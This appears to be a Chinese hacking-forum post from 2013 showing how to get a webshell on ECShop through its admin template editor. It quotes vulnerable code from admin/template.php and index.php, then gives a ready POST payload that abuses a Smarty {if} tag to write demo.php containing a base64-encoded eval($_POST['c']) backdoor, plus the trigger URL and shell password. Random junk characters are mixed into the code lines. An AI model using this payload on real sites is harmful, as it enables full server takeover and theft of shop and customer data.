找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2542|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
. W7 n2 I8 p* x
! C1 o5 e, j) A) k而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了) e* O2 _; D4 s' K1 i
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
) l& X7 u, x9 Y- C( A  M- badmin/template.php2 U, R) V- p$ d* G" i1 R) J, t; @
+ A7 Q6 V8 i' u* a% A2 I) J
1 if ($_REQUEST['act'] == 'update_library') - u! `$ V! A2 |, M1 c0 |
; a: Y# \' F7 b. i5 `/ ]
2   
2 w1 v& G. g1 Z* U% G0 j1 |( z* F9 u0 L+ Y' y1 ?7 A1 g
3 {
. B: Z! t! u4 V6 Q7 d) H" k! V# @& C$ A" }
4     check_authz_json('library_manage');
: l/ n- J) ~% p2 I7 o& Q3 D/ f
: C6 N$ Z9 P( S; G. M5   3 a& T# ~' ?& l2 |9 D. j, a
& R' P5 f; k! X" u: c
6     $html = stripslashes(json_str_iconv($_POST['html']));
0 m. V8 c! F" y' I0 W- F. h2 o4 s& N) w% i! n0 K4 S
7   
" y1 |9 b! K3 C# A- h
+ l0 B; L5 f2 y8 c* x7 o. D8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. K& @, Y1 }' f* }( x0 k2 C: y0 B, @) a3 n1 y4 ~: v* t' P$ p6 L
9   
* {  ~) J4 j* Y- M  j( Q* g
+ d. v# E' i4 S( {7 F  w7 y$ h10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
9 f6 c8 G! n- Y, H( d4 y& K- P2 O. a
7 j# G( M/ D9 O/ w) E11   3 ^9 H" J. _- W' A/ G. E) X. p
2 u! w" Z* ?' A
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); . R9 t. L- A/ ?1 M6 Y0 L
. f0 K6 f3 Y! Z( ?4 l- \' L* m/ @6 v0 o
13   % Y8 {0 @) f( b" M8 T* y& j

! F; ~  {2 F1 x" T- |14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 ; e$ Q' \4 y  f+ {# v) Y( Q+ s& V

; Z3 Y! y* ~: N15     {
  a/ z2 z0 t, M/ U4 e, [2 M2 c! P0 C5 `! Z' e, X
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
0 P5 j/ x. o/ ~8 U9 R0 D! W6 _
0 |, G' V5 _0 ~5 F) X' U/ a17         make_json_result('', $_LANG['update_lib_success']);
2 V, o6 _+ L' y3 u; @6 r9 C1 i5 e8 L" g: U# O" L
18     }
. j- `, q# e) W9 e/ u2 C$ U! N" V" H, ]5 [, t. R7 I, Q: m1 `+ u8 N
19     else 9 f1 Z3 w  l& L3 c  I

5 S$ T; W6 Y/ X8 K$ y- V& ?20     {
* ?! g" I. A# u" o6 x5 W* H+ A6 _0 v- ]- s
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); % X' k. }$ C* f9 r- k& Y( ~! @

) B: ^' a* ^/ K# g4 x! R22     } # u7 r# f0 r9 [- Y; L2 K! g! x  _

( \+ ~# o% u3 g3 a23 }
; x/ Y  _9 C8 b0 d9 [/ X# k& m8 [+ h% r" }
那么找个比较方便调用了模板的文件9 m, Q4 F3 {) W$ Y+ {
index.php7 @- S( h1 ^" U* C5 n0 k' {
, ]( D" k( B. g" t$ E1 b
1 if ($act == 'cat_rec') / ^6 Y) Z* @" h, C
5 |5 {! p+ r% ~8 h/ G* X
2   6 D- N7 c5 K$ h& \% E; L
0 t( t& \& }$ ]0 [+ x
3 {   j# u% Q9 t0 H5 \
, S* ^% v& e/ d; l% H
4     j: Z0 o1 o! R5 \

. O/ t0 z3 K5 o2 B5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
! b- z) v. X( G9 ~( I' W. \/ |  O% x$ O9 e# H) u4 f3 @. j3 F
6   9 i4 G, q2 F# r3 I1 S! c4 ?
9 U* q0 l& B! @. s: G6 m. P# e8 p
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 I$ m+ `- `& z' _8 E+ u: ?5 i# D6 D+ l- K
8   % I' K; ?3 \8 r

2 Q% v& X: @) U0 g0 o9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; " b8 A& g. d! r
/ q8 @/ P# s6 |  |0 L+ U
10   
1 \3 Q- |5 {' I0 ~" I8 a4 l+ L! ^, g6 z
11     include_once('includes/cls_json.php'); 1 B; Z0 D' d3 d0 D) i2 k
/ A( V" V+ b6 j% g# U* G) @$ J
12   ! x  }, g2 g1 _0 \, O% X

9 C% m- p; X1 N& }. T! k& s- m13     $json = new JSON; : L, z/ {0 ^8 h; L7 p  M; y6 ^2 r

, X; N7 u$ R0 u0 ]14   : p6 i' }) F5 ^& Q! `$ x+ ~

2 d# `1 I: h: ?( X! I15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ; k9 K) n) z1 }; f
" g! ^4 Q4 O4 C1 e+ z4 F0 g9 T
16   5 A4 ?7 R5 p: }7 s+ r, h

9 \& s# V. f0 y, b3 Q17     $children = get_children($cat_id);
0 ^) e- L8 t2 O4 o% i# v, Q0 {4 }) u7 e) g! V3 R7 x
18   4 G: a5 ^, F1 q4 C8 R- i
' B% u" s3 K6 F5 a
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
- X! l9 O4 O1 {- |9 b- n- h
& O3 K7 o+ g* J6 l5 ~2 ~20   1 l/ @2 ^9 `" }$ j, O' a
3 m2 p; O1 f: F) n- `! p1 l
21     $smarty->assign('cat_rec_sign', 1); 1 K) i' B# q: T0 S9 |, M

/ E, Y% n  S* S7 P0 X22   
" a  x4 L; `$ X2 s- {6 s* w. k7 ~9 c6 F* Z. w" y
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
9 @' b  l$ j) s! m; D+ r6 Q3 k7 s! ]3 p9 z
24   
  q9 t$ p, [5 C4 H: V
: D# ]9 V5 d& ~; A; k' g* u25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 3 H7 w: _0 \& d

" g( b2 l7 y$ r9 i* t9 O. v26   # |" O7 t. I8 t7 E# {3 m' p$ n" k
- {6 m) P) j9 l$ D6 h0 E
27         echo $rec_array[$rec_type];
6 F3 m9 L* O) \0 x( k8 }3 @
! l9 e- S/ E  ]4 I4 L5 X- o28   * `" B5 U  ]# \) u) \) H% `
: d. Z: r: h* `- I# J
29     die($json->encode($result)); ; |# O/ X( M: Q" l4 i

. w9 R4 |) Z6 Q" {5 d- Y% M, g30   
0 b. V# E8 m" W' Y& W% S& @: S0 ?6 W+ T5 f
31 }
: F2 z" v! A8 S# Q# w% ]6 S
& N6 s! {/ H. d7 n) p/ b那么就有利用方法了0 M) x6 |; G% t7 U& p6 J5 b7 z# _
post包到http://localhost/ec/admin/template.php?act=update_library- [: G1 B' {( V! }3 E1 w
Post内容:5 Z4 J: ?* P4 g- L7 s3 Q
, I, H7 [- ^5 H" K
9 J, w% |3 ^# L  J6 u; K2 ]% F
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
/ o. N' O" K: Q- P) Z0 R
  I- Y+ k- J5 ?+ B8 b, \2 }" @然后访问http://localhost/ec/index.php?act=cat_rec
4 X6 H6 c/ T. l+ }7 Y1 c4 {8 j4 k% f7 |+ p/ r
shel地址:http://localhost/ec/demo.php
' g1 h# p( r9 f! i5 P' k密码c& T$ `( C/ R& F4 `; K& T! P
8 [  P9 Z4 ?" Y1 h7 _' t1 O; a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表